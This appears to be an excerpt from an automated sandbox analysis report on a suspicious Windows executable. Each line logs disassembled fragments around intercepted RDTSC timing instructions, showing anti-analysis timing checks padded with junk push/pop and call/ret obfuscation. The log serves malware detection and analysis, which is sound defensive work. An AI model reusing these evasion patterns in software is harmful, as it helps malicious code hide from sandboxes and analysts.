Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B12F96 second address: B12F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD5E66 second address: AD5EB4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F5CACC3D918h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov edx, dword ptr [ebp+122D36CDh] 0x00000028 lea eax, dword ptr [ebp+12481B84h] 0x0000002e mov edx, 7F5FD5B3h 0x00000033 mov dx, cx 0x00000036 push eax 0x00000037 pushad 0x00000038 jnp 00007F5CACC3D91Ch 0x0000003e jng 00007F5CACC3D916h 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6037 second address: AD603C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD648B second address: AD648F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD648F second address: AD6495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6495 second address: AD649A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD649A second address: AD64AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F5CACF3B8F4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD65C8 second address: AD65DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACC3D91Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD65DA second address: AD65FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD681A second address: AD6820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6820 second address: AD6826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6826 second address: AD682A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6CE0 second address: AD6CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6CE7 second address: AD6CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6CED second address: AD6D3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F5CACF3B8E8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 or edx, 5B9B8B23h 0x0000002e push 0000001Eh 0x00000030 nop 0x00000031 pushad 0x00000032 pushad 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6E4F second address: AD6E69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6E69 second address: AD6E73 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5CACF3B8ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD70F7 second address: AD710D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D91Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD71D6 second address: ABE5BF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F5CACF3B8E8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 cld 0x00000027 or edi, dword ptr [ebp+122D380Dh] 0x0000002d call dword ptr [ebp+122D32A2h] 0x00000033 pushad 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 pushad 0x00000038 popad 0x00000039 jmp 00007F5CACF3B8EBh 0x0000003e push edi 0x0000003f pop edi 0x00000040 popad 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 push edi 0x00000045 pop edi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18600 second address: B1860C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5CACC3D916h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1860C second address: B18610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18610 second address: B1861C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1861C second address: B18633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5CACF3B8E6h 0x0000000a pop edx 0x0000000b ja 00007F5CACF3B8E8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18633 second address: B18639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B187FA second address: B187FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18943 second address: B18960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 jmp 00007F5CACC3D926h 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18C3D second address: B18C61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5CACF3B8EDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18C61 second address: B18C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18C67 second address: B18C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18D98 second address: B18DAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5CACC3D91Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B18DAC second address: B18DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACF3B8EAh 0x00000009 jnl 00007F5CACF3B8E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B19049 second address: B19059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B19059 second address: B19062 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B19062 second address: B1906D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5CACC3D916h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1E8B4 second address: B1E8BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1E9C9 second address: B1E9D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push edi 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1EE92 second address: B1EE97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1F024 second address: B1F02E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1E5CA second address: B1E5DF instructions: 0x00000000 rdtsc 0x00000002 js 00007F5CACF3B8F7h 0x00000008 jmp 00007F5CACF3B8EBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1F47A second address: B1F47F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1F601 second address: B1F625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5CACF3B8E6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jne 00007F5CACF3B8E6h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5CACF3B8ECh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1F625 second address: B1F631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F5CACC3D916h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B226BD second address: B226D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8F3h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B226D5 second address: B22702 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F5CACC3D91Ah 0x00000008 jmp 00007F5CACC3D924h 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnc 00007F5CACC3D91Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B22702 second address: B22718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5CACF3B8E8h 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F5CACF3B8E6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B25093 second address: B250AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D927h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B250AF second address: B250BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A93B53 second address: A93B5D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B29BE6 second address: B29BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B29BEA second address: B29BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B29BF0 second address: B29C12 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F5CACF3B8E6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5CACF3B8F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B29450 second address: B2946B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D923h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E1AF second address: B2E1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8F3h 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F5CACF3B8EEh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E1DB second address: B2E1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F5CACC3D916h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E1E7 second address: B2E21D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F8h 0x00000007 jmp 00007F5CACF3B8F6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E47D second address: B2E481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E481 second address: B2E493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5CACF3B8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E60F second address: B2E616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E616 second address: B2E61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E774 second address: B2E778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E778 second address: B2E7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F5CACF3B90Eh 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B2E7B3 second address: B2E7BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5CACC3D916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6B61 second address: AD6BD4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5CACF3B8E8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push ebx 0x0000000e pushad 0x0000000f mov edi, dword ptr [ebp+122D3A29h] 0x00000015 mov ecx, esi 0x00000017 popad 0x00000018 pop ecx 0x00000019 mov ebx, dword ptr [ebp+12481BC3h] 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F5CACF3B8E8h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 mov edx, 407FCAB7h 0x0000003e mov ecx, 460F08A2h 0x00000043 add eax, ebx 0x00000045 mov dword ptr [ebp+122D17D8h], ecx 0x0000004b push eax 0x0000004c jmp 00007F5CACF3B8EBh 0x00000051 mov dword ptr [esp], eax 0x00000054 mov di, si 0x00000057 push 00000004h 0x00000059 sbb ch, 00000078h 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push ebx 0x00000061 pop ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6BD4 second address: AD6BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD6BD9 second address: AD6BDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3367F second address: B33687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B33687 second address: B3369A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007F5CACF3B8ECh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3369A second address: B3369F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3369F second address: B336A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B32957 second address: B3295B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B32C3F second address: B32C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8EBh 0x00000009 pop edi 0x0000000a jnl 00007F5CACF3B8ECh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B32F22 second address: B32F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B32F2B second address: B32F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B32F2F second address: B32F33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B38F86 second address: B38F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3910D second address: B39113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B39113 second address: B39117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B39AAC second address: B39AB2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B39AB2 second address: B39AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B39AB8 second address: B39ADA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5CACC3D918h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5CACC3D921h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B39ADA second address: B39B0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F9h 0x00000007 jmp 00007F5CACF3B8F0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007F5CACF3B8F2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3A2FA second address: B3A300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3A8CD second address: B3A8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3A8D3 second address: B3A8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jc 00007F5CACC3D916h 0x0000000e pop ebx 0x0000000f jl 00007F5CACC3D947h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3A8EC second address: B3A8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3AB94 second address: B3AB98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3FC41 second address: B3FC46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3FC46 second address: B3FC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D923h 0x00000009 jnc 00007F5CACC3D916h 0x0000000f popad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F30C second address: B3F313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
